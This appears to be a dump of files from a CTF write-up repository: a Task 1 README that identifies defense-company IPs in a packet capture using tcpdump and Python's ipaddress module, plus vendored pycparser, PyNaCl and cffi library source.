warnings.warn( 109 | 'parsing methods must have __doc__ for pycparser to work properly', 110 | RuntimeWarning, 111 | stacklevel=2) 112 | issued_nodoc_warning = True 113 | return cls 114 | 115 | 116 | def _create_param_rules(cls, func): 117 | """ Create ply.yacc rules based on a parameterized rule function 118 | 119 | Generates new methods (one per each pair of parameters) based on the 120 | template rule function `func`, and attaches them to `cls`. The rule 121 | function's parameters must be accessible via its `_params` attribute. 122 | """ 123 | for xxx, yyy in func._params: 124 | # Use the template method's body for each new method 125 | def param_rule(self, p): 126 | func(self, p) 127 | 128 | # Substitute in the params for the grammar rule and function name 129 | param_rule.__doc__ = func.__doc__.replace('xxx', xxx).replace('yyy', yyy) 130 | param_rule.__name__ = func.__name__.replace('xxx', xxx) 131 | 132 | # Attach the new method to the class 133 | setattr(cls, param_rule.__name__, param_rule) 134 | -------------------------------------------------------------------------------- /task1/README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | # Task 1 4 | 5 | [![Categories Badge](https://img.shields.io/badge/Categories-Network%20Forensics%2C%20Command%20Line-BrightGreen.svg)](https://shields.io/) 6 | [![Points Badge](https://img.shields.io/badge/Points-25-blue.svg)](https://shields.io/) 7 |
8 | 9 | > The NSA Cybersecurity Collaboration Center has a mission to prevent and eradicate threats to the US Defense Industrial Base (DIB). Based on information sharing agreements with several DIB companies, we need to determine if any of those companies are communicating with the actor's infrastructure. 10 | > 11 | > You have been provided a capture of data en route to the listening post as well as a list of DIB company IP ranges. Identify any IPs associated with the DIB that have communicated with the LP. 12 | > 13 | > Downloads: 14 | > * [Network traffic heading to the LP (capture.pcap)](provided/capture.pcap) 15 | > * [DIB IP address ranges (ip_ranges.txt)](provided/ip_ranges.txt) 16 | > 17 | > --- 18 | > 19 | > Enter the IP addresses associated with the DIB that have communicated with the LP, one per line 20 | > ``` 21 | > ``` 22 | 23 | ## Files 24 | 25 | * [provided/](provided/) 26 | - [capture.pcap](provided/capture.pcap) - Provided capture of packets to the listening post 27 | - [ip_ranges.txt](provided/ip_ranges.txt) - Provided DIB IP ranges 28 | * [ip_extractor.sh](ip_extractor.sh) - Extracts unique addresses from a packet capture 29 | * [ips.txt](ips.txt) - Output of `ip_extractor.sh` 30 | * [solve.py](solve.py) - Solve script 31 | * [solution.txt](solution.txt) - Solution 32 | 33 | ## Solution 34 | 35 | This task can be boiled down to *find every IP that is in both the PCAP and the IP ranges provided*. 36 | 37 | If you don't understand the format of the IP address ranges, read through the Wikipedia page for [Classles Inter-Domain Routing](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing), in particular the [CIDR notation](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation) section. 38 | 39 | If there were only a few ranges or only a few packets it might be quicker to solve this task manually, but looking at `capture.pcap` in [Wireshark](https://www.wireshark.org/) pushed me to script a solution instead: 40 | 41 |
42 | 43 | ![Wireshark](img/wireshark.png) 44 |
45 | 46 | I figured there must be some python library out there that allows you to check if an IP address is within an IP range. Fortunately there is and it's called [`ipaddress`](https://docs.python.org/3/library/ipaddress.html). This library allows you to convert string representations of addresses and ranges (what we have) into `IPv4Address` and `IPv4Network` types that can be compared (what we want). 47 | 48 | We have the ranges in a nice, line-separated format that should be easy to import into a script. We don't have the IP addresses from the PCAP in a nice format yet though. There are two command line utilities for PCAPs that should be up to that task: [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html) and [`tcpdump`](https://www.tcpdump.org/). One of the top search results I got was [this gist](https://gist.github.com/WJDigby/107f9330ad120ba4044c69e951cc953a) from [WJDigby](https://github.com/WJDigby) that uses `tcpdump`. I added some comments and a filename to get this result: 49 | 50 | ```bash 51 | $ tcpdump -r provided/capture.pcap 'ip' -n | # get IP data from pcap 52 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' -o | # filter out everything except the addresses 53 | sort -u # remove duplicates 54 | ``` 55 | ``` 56 | reading from file provided/capture.pcap, link-type EN10MB (Ethernet) 57 | 10.176.152.113 58 | 10.22.113.107 59 | 10.4.83.154 60 | 172.27.231.158 61 | 192.168.1.62 62 | 192.168.165.227 63 | 192.168.52.129 64 | 192.168.8.178 65 | 192.168.90.188 66 | 198.18.157.4 67 | ``` 68 | 69 | Great! Now we just need to load up the IPs and ranges, test to see if each IP is in any of the ranges, and print out the ones that are: 70 | 71 | ```python3 72 | #!/usr/bin/env python3 73 | 74 | import ipaddress 75 | 76 | # read in allowed ip ranges 77 | with open('provided/ip_ranges.txt', 'r') as f: 78 | ranges = f.readlines() 79 | 80 | # read in ips from ip_extractor.sh 81 | with open('ips.txt', 'r') as f: 82 | ips = f.readlines() 83 | 84 | # convert to ip range and address types 85 | ranges = [ipaddress.ip_network(r.strip()) for r in ranges] 86 | ips = [ipaddress.ip_address(i.strip()) for i in ips] 87 | 88 | # check if each ip is in any of the ranges 89 | for i in ips: 90 | for r in ranges: 91 | if i in r: 92 | print(i) 93 | 94 | ``` 95 | 96 | Running this script yields the 4 addresses that fit the description and solve this task: 97 | 98 | ``` 99 | $ python3 solve.py 100 | ``` 101 | ``` 102 | 10.176.152.113 103 | 10.22.113.107 104 | 192.168.1.62 105 | 192.168.8.178 106 | ``` 107 | 108 |
109 | 110 | ![Complete Message](img/complete.png) 111 |
112 | 113 | ## Resources 114 | 115 | * [Wireshark](https://www.wireshark.org/) 116 | * [Classles Inter-Domain Routing Notation](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation) 117 | * [`ipaddress`](https://docs.python.org/3/library/ipaddress.html) 118 | * [`tshark`](https://www.wireshark.org/docs/man-pages/tshark.html) 119 | * [`tcpdump`](https://www.tcpdump.org/) 120 | * [`tcpdump` Extract IPs from PCAP](https://gist.github.com/WJDigby/107f9330ad120ba4044c69e951cc953a) 121 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/nacl/secret.py: -------------------------------------------------------------------------------- 1 | # Copyright 2013 Donald Stufft and individual contributors 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | from __future__ import absolute_import, division, print_function 16 | 17 | import nacl.bindings 18 | from nacl import encoding 19 | from nacl import exceptions as exc 20 | from nacl.utils import EncryptedMessage, StringFixer, random 21 | 22 | 23 | class SecretBox(encoding.Encodable, StringFixer, object): 24 | """ 25 | The SecretBox class encrypts and decrypts messages using the given secret 26 | key. 27 | 28 | The ciphertexts generated by :class:`~nacl.secret.Secretbox` include a 16 29 | byte authenticator which is checked as part of the decryption. An invalid 30 | authenticator will cause the decrypt function to raise an exception. The 31 | authenticator is not a signature. Once you've decrypted the message you've 32 | demonstrated the ability to create arbitrary valid message, so messages you 33 | send are repudiable. For non-repudiable messages, sign them after 34 | encryption. 35 | 36 | :param key: The secret key used to encrypt and decrypt messages 37 | :param encoder: The encoder class used to decode the given key 38 | 39 | :cvar KEY_SIZE: The size that the key is required to be. 40 | :cvar NONCE_SIZE: The size that the nonce is required to be. 41 | :cvar MACBYTES: The size of the authentication MAC tag in bytes. 42 | :cvar MESSAGEBYTES_MAX: The maximum size of a message which can be 43 | safely encrypted with a single key/nonce 44 | pair. 45 | """ 46 | 47 | KEY_SIZE = nacl.bindings.crypto_secretbox_KEYBYTES 48 | NONCE_SIZE = nacl.bindings.crypto_secretbox_NONCEBYTES 49 | MACBYTES = nacl.bindings.crypto_secretbox_MACBYTES 50 | MESSAGEBYTES_MAX = nacl.bindings.crypto_secretbox_MESSAGEBYTES_MAX 51 | 52 | def __init__(self, key, encoder=encoding.RawEncoder): 53 | key = encoder.decode(key) 54 | if not isinstance(key, bytes): 55 | raise exc.TypeError("SecretBox must be created from 32 bytes") 56 | 57 | if len(key) != self.KEY_SIZE: 58 | raise exc.ValueError( 59 | "The key must be exactly %s bytes long" % 60 | self.KEY_SIZE, 61 | ) 62 | 63 | self._key = key 64 | 65 | def __bytes__(self): 66 | return self._key 67 | 68 | def encrypt(self, plaintext, nonce=None, encoder=encoding.RawEncoder): 69 | """ 70 | Encrypts the plaintext message using the given `nonce` (or generates 71 | one randomly if omitted) and returns the ciphertext encoded with the 72 | encoder. 73 | 74 | .. warning:: It is **VITALLY** important that the nonce is a nonce, 75 | i.e. it is a number used only once for any given key. If you fail 76 | to do this, you compromise the privacy of the messages encrypted. 77 | Give your nonces a different prefix, or have one side use an odd 78 | counter and one an even counter. Just make sure they are different. 79 | 80 | :param plaintext: [:class:`bytes`] The plaintext message to encrypt 81 | :param nonce: [:class:`bytes`] The nonce to use in the encryption 82 | :param encoder: The encoder to use to encode the ciphertext 83 | :rtype: [:class:`nacl.utils.EncryptedMessage`] 84 | """ 85 | if nonce is None: 86 | nonce = random(self.NONCE_SIZE) 87 | 88 | if len(nonce) != self.NONCE_SIZE: 89 | raise exc.ValueError( 90 | "The nonce must be exactly %s bytes long" % self.NONCE_SIZE, 91 | ) 92 | 93 | ciphertext = nacl.bindings.crypto_secretbox(plaintext, 94 | nonce, self._key) 95 | 96 | encoded_nonce = encoder.encode(nonce) 97 | encoded_ciphertext = encoder.encode(ciphertext) 98 | 99 | return EncryptedMessage._from_parts( 100 | encoded_nonce, 101 | encoded_ciphertext, 102 | encoder.encode(nonce + ciphertext), 103 | ) 104 | 105 | def decrypt(self, ciphertext, nonce=None, encoder=encoding.RawEncoder): 106 | """ 107 | Decrypts the ciphertext using the `nonce` (explicitly, when passed as a 108 | parameter or implicitly, when omitted, as part of the ciphertext) and 109 | returns the plaintext message. 110 | 111 | :param ciphertext: [:class:`bytes`] The encrypted message to decrypt 112 | :param nonce: [:class:`bytes`] The nonce used when encrypting the 113 | ciphertext 114 | :param encoder: The encoder used to decode the ciphertext. 115 | :rtype: [:class:`bytes`] 116 | """ 117 | # Decode our ciphertext 118 | ciphertext = encoder.decode(ciphertext) 119 | 120 | if nonce is None: 121 | # If we were given the nonce and ciphertext combined, split them. 122 | nonce = ciphertext[:self.NONCE_SIZE] 123 | ciphertext = ciphertext[self.NONCE_SIZE:] 124 | 125 | if len(nonce) != self.NONCE_SIZE: 126 | raise exc.ValueError( 127 | "The nonce must be exactly %s bytes long" % self.NONCE_SIZE, 128 | ) 129 | 130 | plaintext = nacl.bindings.crypto_secretbox_open(ciphertext, 131 | nonce, self._key) 132 | 133 | return plaintext 134 | -------------------------------------------------------------------------------- /task10/home/lpuser/.local/lib/python3.6/site-packages/cffi/cffi_opcode.py: -------------------------------------------------------------------------------- 1 | from .error import VerificationError 2 | 3 | class CffiOp(object): 4 | def __init__(self, op, arg): 5 | self.op = op 6 | self.arg = arg 7 | 8 | def as_c_expr(self): 9 | if self.op is None: 10 | assert isinstance(self.arg, str) 11 | return '(_cffi_opcode_t)(%s)' % (self.arg,) 12 | classname = CLASS_NAME[self.op] 13 | return '_CFFI_OP(_CFFI_OP_%s, %s)' % (classname, self.arg) 14 | 15 | def as_python_bytes(self): 16 | if self.op is None and self.arg.isdigit(): 17 | value = int(self.arg) # non-negative: '-' not in self.arg 18 | if value >= 2**31: 19 | raise OverflowError("cannot emit %r: limited to 2**31-1" 20 | % (self.arg,)) 21 | return format_four_bytes(value) 22 | if isinstance(self.arg, str): 23 | raise VerificationError("cannot emit to Python: %r" % (self.arg,)) 24 | return format_four_bytes((self.arg << 8) | self.op) 25 | 26 | def __str__(self): 27 | classname = CLASS_NAME.get(self.op, self.op) 28 | return '(%s %s)' % (classname, self.arg) 29 | 30 | def format_four_bytes(num): 31 | return '\\x%02X\\x%02X\\x%02X\\x%02X' % ( 32 | (num >> 24) & 0xFF, 33 | (num >> 16) & 0xFF, 34 | (num >> 8) & 0xFF, 35 | (num ) & 0xFF) 36 | 37 | OP_PRIMITIVE = 1 38 | OP_POINTER = 3 39 | OP_ARRAY = 5 40 | OP_OPEN_ARRAY = 7 41 | OP_STRUCT_UNION = 9 42 | OP_ENUM = 11 43 | OP_FUNCTION = 13 44 | OP_FUNCTION_END = 15 45 | OP_NOOP = 17 46 | OP_BITFIELD = 19 47 | OP_TYPENAME = 21 48 | OP_CPYTHON_BLTN_V = 23 # varargs 49 | OP_CPYTHON_BLTN_N = 25 # noargs 50 | OP_CPYTHON_BLTN_O = 27 # O (i.e. a single arg) 51 | OP_CONSTANT = 29 52 | OP_CONSTANT_INT = 31 53 | OP_GLOBAL_VAR = 33 54 | OP_DLOPEN_FUNC = 35 55 | OP_DLOPEN_CONST = 37 56 | OP_GLOBAL_VAR_F = 39 57 | OP_EXTERN_PYTHON = 41 58 | 59 | PRIM_VOID = 0 60 | PRIM_BOOL = 1 61 | PRIM_CHAR = 2 62 | PRIM_SCHAR = 3 63 | PRIM_UCHAR = 4 64 | PRIM_SHORT = 5 65 | PRIM_USHORT = 6 66 | PRIM_INT = 7 67 | PRIM_UINT = 8 68 | PRIM_LONG = 9 69 | PRIM_ULONG = 10 70 | PRIM_LONGLONG = 11 71 | PRIM_ULONGLONG = 12 72 | PRIM_FLOAT = 13 73 | PRIM_DOUBLE = 14 74 | PRIM_LONGDOUBLE = 15 75 | 76 | PRIM_WCHAR = 16 77 | PRIM_INT8 = 17 78 | PRIM_UINT8 = 18 79 | PRIM_INT16 = 19 80 | PRIM_UINT16 = 20 81 | PRIM_INT32 = 21 82 | PRIM_UINT32 = 22 83 | PRIM_INT64 = 23 84 | PRIM_UINT64 = 24 85 | PRIM_INTPTR = 25 86 | PRIM_UINTPTR = 26 87 | PRIM_PTRDIFF = 27 88 | PRIM_SIZE = 28 89 | PRIM_SSIZE = 29 90 | PRIM_INT_LEAST8 = 30 91 | PRIM_UINT_LEAST8 = 31 92 | PRIM_INT_LEAST16 = 32 93 | PRIM_UINT_LEAST16 = 33 94 | PRIM_INT_LEAST32 = 34 95 | PRIM_UINT_LEAST32 = 35 96 | PRIM_INT_LEAST64 = 36 97 | PRIM_UINT_LEAST64 = 37 98 | PRIM_INT_FAST8 = 38 99 | PRIM_UINT_FAST8 = 39 100 | PRIM_INT_FAST16 = 40 101 | PRIM_UINT_FAST16 = 41 102 | PRIM_INT_FAST32 = 42 103 | PRIM_UINT_FAST32 = 43 104 | PRIM_INT_FAST64 = 44 105 | PRIM_UINT_FAST64 = 45 106 | PRIM_INTMAX = 46 107 | PRIM_UINTMAX = 47 108 | PRIM_FLOATCOMPLEX = 48 109 | PRIM_DOUBLECOMPLEX = 49 110 | PRIM_CHAR16 = 50 111 | PRIM_CHAR32 = 51 112 | 113 | _NUM_PRIM = 52 114 | _UNKNOWN_PRIM = -1 115 | _UNKNOWN_FLOAT_PRIM = -2 116 | _UNKNOWN_LONG_DOUBLE = -3 117 | 118 | _IO_FILE_STRUCT = -1 119 | 120 | PRIMITIVE_TO_INDEX = { 121 | 'char': PRIM_CHAR, 122 | 'short': PRIM_SHORT, 123 | 'int': PRIM_INT, 124 | 'long': PRIM_LONG, 125 | 'long long': PRIM_LONGLONG, 126 | 'signed char': PRIM_SCHAR, 127 | 'unsigned char': PRIM_UCHAR, 128 | 'unsigned short': PRIM_USHORT, 129 | 'unsigned int': PRIM_UINT, 130 | 'unsigned long': PRIM_ULONG, 131 | 'unsigned long long': PRIM_ULONGLONG, 132 | 'float': PRIM_FLOAT, 133 | 'double': PRIM_DOUBLE, 134 | 'long double': PRIM_LONGDOUBLE, 135 | 'float _Complex': PRIM_FLOATCOMPLEX, 136 | 'double _Complex': PRIM_DOUBLECOMPLEX, 137 | '_Bool': PRIM_BOOL, 138 | 'wchar_t': PRIM_WCHAR, 139 | 'char16_t': PRIM_CHAR16, 140 | 'char32_t': PRIM_CHAR32, 141 | 'int8_t': PRIM_INT8, 142 | 'uint8_t': PRIM_UINT8, 143 | 'int16_t': PRIM_INT16, 144 | 'uint16_t': PRIM_UINT16, 145 | 'int32_t': PRIM_INT32, 146 | 'uint32_t': PRIM_UINT32, 147 | 'int64_t': PRIM_INT64, 148 | 'uint64_t': PRIM_UINT64, 149 | 'intptr_t': PRIM_INTPTR, 150 | 'uintptr_t': PRIM_UINTPTR, 151 | 'ptrdiff_t': PRIM_PTRDIFF, 152 | 'size_t': PRIM_SIZE, 153 | 'ssize_t': PRIM_SSIZE, 154 | 'int_least8_t': PRIM_INT_LEAST8, 155 | 'uint_least8_t': PRIM_UINT_LEAST8, 156 | 'int_least16_t': PRIM_INT_LEAST16, 157 | 'uint_least16_t': PRIM_UINT_LEAST16, 158 | 'int_least32_t': PRIM_INT_LEAST32, 159 | 'uint_least32_t': PRIM_UINT_LEAST32, 160 | 'int_least64_t': PRIM_INT_LEAST64, 161 | 'uint_least64_t': PRIM_UINT_LEAST64, 162 | 'int_fast8_t': PRIM_INT_FAST8, 163 | 'uint_fast8_t': PRIM_UINT_FAST8, 164 | 'int_fast16_t': PRIM_INT_FAST16, 165 | 'uint_fast16_t': PRIM_UINT_FAST16, 166 | 'int_fast32_t': PRIM_INT_FAST32, 167 | 'uint_fast32_t': PRIM_UINT_FAST32, 168 | 'int_fast64_t': PRIM_INT_FAST64, 169 | 'uint_fast64_t': PRIM_UINT_FAST64, 170 | 'intmax_t': PRIM_INTMAX, 171 | 'uintmax_t': PRIM_UINTMAX, 172 | } 173 | 174 | F_UNION = 0x01 175 | F_CHECK_FIELDS = 0x02 176 | F_PACKED = 0x04 177 | F_EXTERNAL = 0x08 178 | F_OPAQUE = 0x10 179 | 180 | G_FLAGS = dict([('_CFFI_' + _key, globals()[_key]) 181 | for _key in ['F_UNION', 'F_CHECK_FIELDS', 'F_PACKED', 182 | 'F_EXTERNAL', 'F_OPAQUE']]) 183 | 184 | CLASS_NAME = {} 185 | for _name, _value in list(globals().items()): 186 | if _name.startswith('OP_') and isinstance(_value, int): 187 | CLASS_NAME[_value] = _name[3:] 188 | --------------------------------------------------------------------------------